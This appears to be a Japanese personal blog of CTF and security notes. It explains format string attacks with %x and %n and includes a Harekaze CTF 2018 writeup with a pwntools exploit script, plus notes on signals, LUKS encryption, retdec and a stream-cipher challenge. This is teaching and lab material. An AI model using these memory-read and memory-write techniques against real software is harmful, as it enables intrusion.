fr33f0r4ll

自分用雑記

pwn基礎 書式文字列攻撃1

書式文字列攻撃

printfの%xなどのフォーマットを利用してメモリを読み書きする。 入力した文字列を直接printfの第一引数に指定できるときに可能になる。

確認方法

この脆弱性があるかどうかを確認するには、%xなどを入力してみて出力を確認してみるのがてっとり早い。 %xが16進数値に変わっている場合はおそらく攻撃が可能なはずである。 入力値が変形されるような場合ではこの方法は使えない。

他には静的解析や動的解析で直接printfの引数を確認する方法もある。 操作できるものが第一引数になっているかどうかを確認すればいい。

仕組み

値の読み込み

Cではprintfに文字列へのポインタを以下のように渡すことができる。

char* str = "%x\n";
printf(str);

もし以下のように文字列がユーザからの入力でも、%xや%sなどのフォーマットは機能する。

char str[1024];

fgets(str, 1024, stdin);
printf(str);

この場合、スタック上で引数に対応する位置にある値が表示されたりする。

ダイレクトパラメータアクセスという仕組みを使い表示する引数の位置を指定することができる。 たとえば%3$xとすると、3番目の引数を16進数で表示する。 これを書式文字列攻撃に利用すると、スタック上で100番目にある値を読み出すといったことができるようになるため、入力文字数が少ないような場合でも離れたアドレスの値を知ることができる。

これで書式文字列攻撃で任意の位置の値を読むことができるようになった。 スタックには他の関数が積んだリターンアドレスやスタック上のバッファのアドレスなんかがあったりするので、それを読み込むことでASLRやPIEによるランダム化を回避したりできる。

書き込み

次は書き込みである。 これには%n系をフォーマットを使う。 printfで%nを使うとこれまで出力したバイト数をスタックに書き込むことができるようになる。 本来は以下のように使うんじゃないかな。

int output_len = 0;
int a, b;

a = 0x100;
b = 0x1000;
printf("%d, %d\n%n", a, b, &output_len);
printf("output len: %d\n", output_len);

出力は以下のようになる。

256, 4096
output len: 10

改行を含めて10文字なので、出力された10バイトがoutput_lenに設定されていることが分かる。 フォーマット文字列の長さではなく出力されたバイト数が格納されるところがポイントで、余白指定などを利用すると短い入力でも32ビットのアドレスを指定することも可能になる。 ちなみに%nでもダイレクトパラメータアクセスが使えるので、スタック上の好きな位置を指定できる。 ただし、そのアドレスに格納されている値をアドレスとして値を設定するので注意。

これで書き込む値を指定できるようになった。 次に問題になるのは書き込み先である。 スタック上に任意の値を設定できないといけないが、好都合なことに書式文字列攻撃が可能な問題ではまさに書式文字列として指定されているユーザの入力を格納したバッファが存在している。 このバッファは大抵の場合関数ローカルな配列になっているので、スタック上の近い位置に存在していたりする。 これを利用して、入力の最初に書き込み先のアドレスを指定し、そのあとに%nを配置するようにすれば任意のアドレスへ書き込みができるようになる。

まとめ

最初に書式文字列攻撃で読み出しを行い必要な情報を取得する。 次にその情報を元に攻撃対象を決める、Partial RELROならGOT overwriteが、libcがあるならret2libcが大抵の場合狙うべき攻撃になると思う。 そして実際に書き込んで攻撃する。 というのが攻撃の流れになる。

Linux! C! signal!

過去のpwn問でsignalを使う問題があったけど、今までよく知らなかったのでメモ。

あらかじめ定義されているシグナルごとにハンドラを登録し、シグナルを受け取ったときにハンドラの処理を実行して割り込みを処理をする。

linuxだとこんな感じになる。

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// ハンドラ関数
// signumにはシグナルを表す数値が渡される
void test_signal_handler(int signum) {
  printf("sigint! %d\n", signum);
  exit(1);
}

int main(int argc, char** argv){
  // test_signal_handlerをSIGINTを受け取ったときのハンドラとして登録している
  // SIGINTはプロセスを終了させるためのシグナル、C-c
  signal(SIGINT, test_signal_handler);

  // SIGUSR1, SIGUSR2などのユーザが定義できるシグナルもある
  // ハンドラはシグナルを無視するSIG_IGNなどの値を設定することもできる
  signal(SIGUSR1, SIG_IGN);

  sleep(3600);
  
  return 0;
}

このプログラムを実行すると1時間スリープするが、実行中にCtrl-Cを押したりしてSIGINTを送るとメッセージを表示してすぐに終了するようになっている。 sleep中でも割り込んで違う処理を実行させられることが確認できる。

解析するときにはsignalに渡されているアドレスから関数の位置を特定しないといけない。

raiseを使えばプロセスにシグナルを送信できる。

Harekaze CTF 2018 Writeup

卒論書かなきゃいけなかったのであまり参加できなかった。 解けたのはwelcome、easy-problem、harekaze-farm、div-nの4つ。 welcomeとeasy-problemはサービス問みたいなものなので実質2つくらいかな。

easy-problem

rot13 nkfを使った。

echo 'UnerxnmrPGS{Uryyb, jbeyq!}' | nkf -r

nkf便利。

div N

割り算を最適化したバイナリの問題。 ちゃんと調べれば最適化の方法とか逆算の仕方とか分かったのかもしれないが、見つからず面倒になったので力技で解いた。

要はx/NのNを特定すればよくて、アセンブリアルゴリズムが分かってるんだから、x/Nがちょうど1になるようなxを求めればいい。 これなら単純に二分探索していける。 アルゴリズムを書くのも面倒だったので直接xの値を書き換えて特定していった。 限りなく頭悪い解き方な気がする。

#include <stdio.h>

int main(){
  long long ret_val = 0;
  long long int i = 0x376a474eb862e;
  
  __asm__ __volatile__ (
            "mov    %1, %%rdi\n\t"
            "mov    %%rdi,%%rax\n\t"
            "movabs $0x49ea309a821a0d01,%%rdx\n\t"
            "sar    $0x3f,%%rdi\n\t"
            "imul   %%rdx\n\t"
            "sar    $0x30,%%rdx\n\t"
            "mov    %%rdx,%%rax\n\t"
            "sub    %%rdi,%%rax\n\t"
            "mov    %%rax,%0\n\t"
            : "=g"(ret_val)
            : "r"(i)
            );

  printf("i: %lld\n", i);
  printf("ret_val: %lld\n", ret_val);
  
  return 0;
}

上から順番にぴったり1になるような数値を決定していって、最後までいったら正解になる。 フラグが16進数なのか10進数なのか分からないのは不親切だと思う。

harekaze-farm

解けてみればすごい簡単だけど、無駄に時間かけてしまった。 プログラムの挙動自体が脆弱な問題は盲点だった、経験の少さが露呈した感じがする。

単に、入力した動物は8バイト単位で格納されているのに、16バイト単位で入力ができるということである。 なので最初の8バイトはcowとかの正当な値にして、次の8バイトに不正な値を入力することができる。 バイナリを解析するとisorokuの鳴き声がフラグになっているので、isorokuを入力してやればいい。 次の入力が正当だと上書きされるので注意する必要がある。

from pwn import *

context.update(arch='i386')
exe = './harekaze_farm'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('problem.harekaze.com', 20328)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

f = open('payload', 'w')

payload = 'cow' + '\x00'*5 + 'isoroku'
io.sendline(payload)

f.write(payload)
f.close()

log.info(io.recv(timeout=0.1))

io.sendline('A' * 0xf)
log.info(io.recv(timeout=0.1))

io.sendline('A' * 0xf)
log.info(io.recv(timeout=0.1))

io.interactive()

他も解きたかったが、実力と時間が足りなかった。

Linux ディスクの暗号化

Linuxでディスクを暗号化したので手順をメモする。

ディスク暗号化

ディスクへ書き込む時点で暗号化してくれるのでファイルレベルで暗号化するより楽に管理できるし、コピーしたときとかにディスクにデータが残ってて復元されてしまったりとかの危険性は減る。 ただし、ディスクに書き込まれるデータそのものが全て暗号化されるのでディスクが破損すると全てのデータが取り出せなくなったりする危険がある。

これをやっておくとノートパソコンとかUSBとかを紛失してもすぐに中身が漏洩することはないので大事な情報を持ち運ぶときのために用意しておくと便利。 パスの管理をしっかりやっていれば、ディスク自体は使い回しても基本的には問題ないはず。 一度マウントすると復号されたデータが読み出せるので、信頼できない機器で開くのはやめた方がいい。 それとマウントしたままだとディスクにアクセスできてしまうので、マウントしたままスリープ状態で持ち運ぶのはやめよう。

手順

最初に暗号化するディスクパーティションを用意する。 partedなりfdiskなりgpartedなりで用意するか、ディスクの領域全てを使ってもいい。 cryptsetupでLUKSを使う。

古いディスクを使い回すなら、せっかくなのでディスクの状態を診断しておくといい。 下記のサイトで紹介されているbadblocksは各セクタに書き込んで順次チェックすることができる。

Linux - badblocks コマンドで HDD 不良ブロックのチェック! - mk-mode BLOG

前に書いた記事の通りにディスクを初期化しておくと以前のデータを復元できなくなる。 ランダムなデータを書き込めば、暗号化データを識別するのも難しくなるはず。 hiziriai.hatenablog.com

/dev/sdb1のパーティションを暗号化し、マウントするときの例。

apt install cryptsetup
cryptsetup luksFormat /dev/sdb1
cryptsetup luksOpen /dev/sdb1 encrypted-disk
mkfs.ext4 /dev/mapper/encrypted-disk
mkdir /mnt/encrypted-disk
mount /dev/mapper/encrypted-disk /mnt/encrypted-disk
umount /mnt/encrypted-disk
cryptsetup luksClose /dev/mapper/encrypted-disk

luksFormatでディスクの暗号化方式とかハッシュ方式を選択できる、デフォルトでは256ビットのaesとsha1になる。 パスワードもこのとき決める。複数のパスワードも登録できるらしいが個人で使うだけなら必要ない。

luksOpenで読み書きできるようにしている。 openでもいい。指定した名前で/dev/mapper以下にアクセスできるリンクが貼られる。 luksCloseあるいはcloseするまで読み書き可能な状態になっているはず。

あとはファイルシステムを作成して(ここではext4)マウントすれば普通のディスクと同じように使える。

avastのretdec

avastがデコンパイラを公開したので使ってみた。 お題はちょっと前のsharif-ctf2018のvuln4で、試しにデコンパイルしてみる。

インストール

まずはretdecをインストールする。 githubリポジトリにインストールのやり方があるのでプラットフォームに合わせてインストール。 ubuntuだとaptで入るcmakeじゃバージョンが低くてコンパイルできないので、cmakeも別途入れる必要があった。 とりあえずコンパイルしてインストールすると様々なツールとスクリプトがインストールされる。 ぱっと見た感じだとマルウェア解析をやりやすくするための解析ツールとかLLVM IRのトランスレータとかも入るみたいなので使ってみたい。 他にも簡単に使えるようにするためのスクリプトも入る。 デコンパイルするにはretdec-decompiler.shを実行すればいい。

デコンパイル

vuln4をデコンパイルしてみる。

retdec-decompiler.sh vuln4

簡単過ぎてビックリする。

デコンパイルすると、いくつかのファイルが生成された。 + vuln4.c + vuln4.c.backend.bc + vuln4.c.backend.ll + vuln4.c.frontend.dsm + vuln4.c.json

vuln4.c以外は中間生成物っぽい? vuln4.cがデコンパイル結果になる。

//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2018 Retargetable Decompiler <info@retdec.com>
//

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ------------------- Function Prototypes --------------------

int32_t __x86_get_pc_thunk_bx(int32_t a1);
int32_t _start(int32_t a1);
int32_t copy_it(int32_t a1);
int32_t function_8048360(int32_t a1);
int32_t function_8048370(int32_t a1);
int32_t function_8048380(int32_t a1, int32_t a2, int32_t a3);
int32_t function_8048390(int32_t a1, int32_t a2);
int32_t function_80483a0(int32_t a1);
int32_t function_80483b0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);

// --------------------- Global Variables ---------------------

int32_t g1 = 0; // eax
int32_t g2 = 0;
int32_t (*g3)(int32_t) = NULL;

// ------------------------ Functions -------------------------

// Address range: 0x8048360 - 0x804836f
int32_t function_8048360(int32_t a1) {
    // entry
    return ((int32_t (*)(int32_t))&g3)(g2);
}

// Address range: 0x8048370 - 0x804837f
int32_t function_8048370(int32_t a1) {
    // 0x8048370
    g1 = fflush();
    return function_8048360(0);
}

// Address range: 0x8048380 - 0x804838f
int32_t function_8048380(int32_t a1, int32_t a2, int32_t a3) {
    // 0x8048380
    g1 = fgets();
    return function_8048360(8);
}

// Address range: 0x8048390 - 0x804839f
int32_t function_8048390(int32_t a1, int32_t a2) {
    // 0x8048390
    g1 = strcpy();
    return function_8048360(16);
}

// Address range: 0x80483a0 - 0x80483af
int32_t function_80483a0(int32_t a1) {
    // 0x80483a0
    g1 = puts();
    return function_8048360(24);
}

// Address range: 0x80483b0 - 0x80483bf
int32_t function_80483b0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
    // 0x80483b0
    g1 = __libc_start_main();
    return function_8048360(32);
}

// Address range: 0x80483d0 - 0x80483ff
int32_t _start(int32_t a1) {
    int32_t v1 = g1; // 0x80483d8
    int32_t v2 = v1; // bp-4
    int32_t v3;
    int32_t result = function_80483b0(0x80484ea, a1, (int32_t)&v3, 0x8048580, 0x80485e0, 0, (int32_t)&v2, v1); // 0x80483ec
    return result;
}

// Address range: 0x8048400 - 0x8048403
int32_t __x86_get_pc_thunk_bx(int32_t a1) {
    // entry
    return g1;
}

// Address range: 0x80484cb - 0x80484e9
int32_t copy_it(int32_t a1) {
    // entry
    int32_t v1; // bp-22
    function_8048390((int32_t)&v1, a1);
    return 0;
}

// Address range: 0x80484ea - 0x8048571
int main(int argc, char ** argv) {
    // entry
    function_80483a0((int32_t)"This time it is randomized...");
    function_80483a0((int32_t)"You should find puts yourself");
    function_8048370(*(int32_t *)0x80498a4);
    int32_t v1; // bp-66
    int32_t v2 = &v1; // 0x804853a
    function_8048380(v2, 200, *(int32_t *)0x80498a0);
    copy_it(v2);
    function_80483a0((int32_t)"done!");
    return 0;
}

// --------------- Dynamically Linked Functions ---------------

// int32_t __libc_start_main(void);
// int32_t fflush(void);
// int32_t fgets(void);
// int32_t puts(void);
// int32_t strcpy(void);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (4.7.2)
// Detected functions: 10
// Decompilation date: 2018-02-06 22:45:20

元のvuln4が分岐もループもほとんどない単純なプログラムだからどの程度できるのかよく分からない。 pltっぽいところも関数にしているのが少し分かりにくいが、結構リバーシングの手間が省けるんじゃないだろうか? どの程度使えるのかこれから試していきたい。

Insomni'hack teaser 2018 writeup

welcomeしかできてないので実質0完。 Rule86の途中までしかできなかったのでそのwriteup。

Rule86

同期型ストリーム暗号の問題。 簡単に言えば鍵から生成した疑似乱数列と平文のxorを取るような暗号で、同じ鍵からは同じ疑似乱数列が生成されなければならない。 ダウンロードしてきたファイルの中にRule86.txtの平文と暗号文があるので、使われた疑似乱数列が復元できる。 問題文には同じ鍵を再利用していると書いてあるので、他のファイルも同じ乱数列で復号できるようになる。 それで他のファイル、hint.gif.encとsuper_cipher.py.encを復号すると、途中まで復号することができる。 super_cipher.py.encは復号できる前半部分に疑似乱数を生成する関数がある。 この関数を調べると、どうも直前に生成した乱数を引数にして次の乱数を生成するようになっているらしいので、足りない疑似乱数列の続きを生成できるようになる。 処理は32バイト単位。 ここまでpython2でやってたけど、この関数はpython3じゃないと微妙に誤差がでるのでそこでひっかかってた。 python3に切り替えて復元した疑似乱数列の続きを生成して復号すると、hint.gifとsuper_cipher.pyも完全に復元できた。

hint.gifには鍵がフラグであるみたいなことが書いてあったんだが、そこからが分からなかった。 控え目にいって32文字ほどありそうな鍵をブルートフォースするのも現実的ではないし、256回ほど疑似乱数生成処理を挟んで初期化しているから推測できそうもないし、orを使ってマッピングしているから逆算できそうもなし、gifファイルは画像一枚しか見つからないから何かありそうな感じもしない。 ここでお手上げ状態になりそのまま36時間経過してしまった。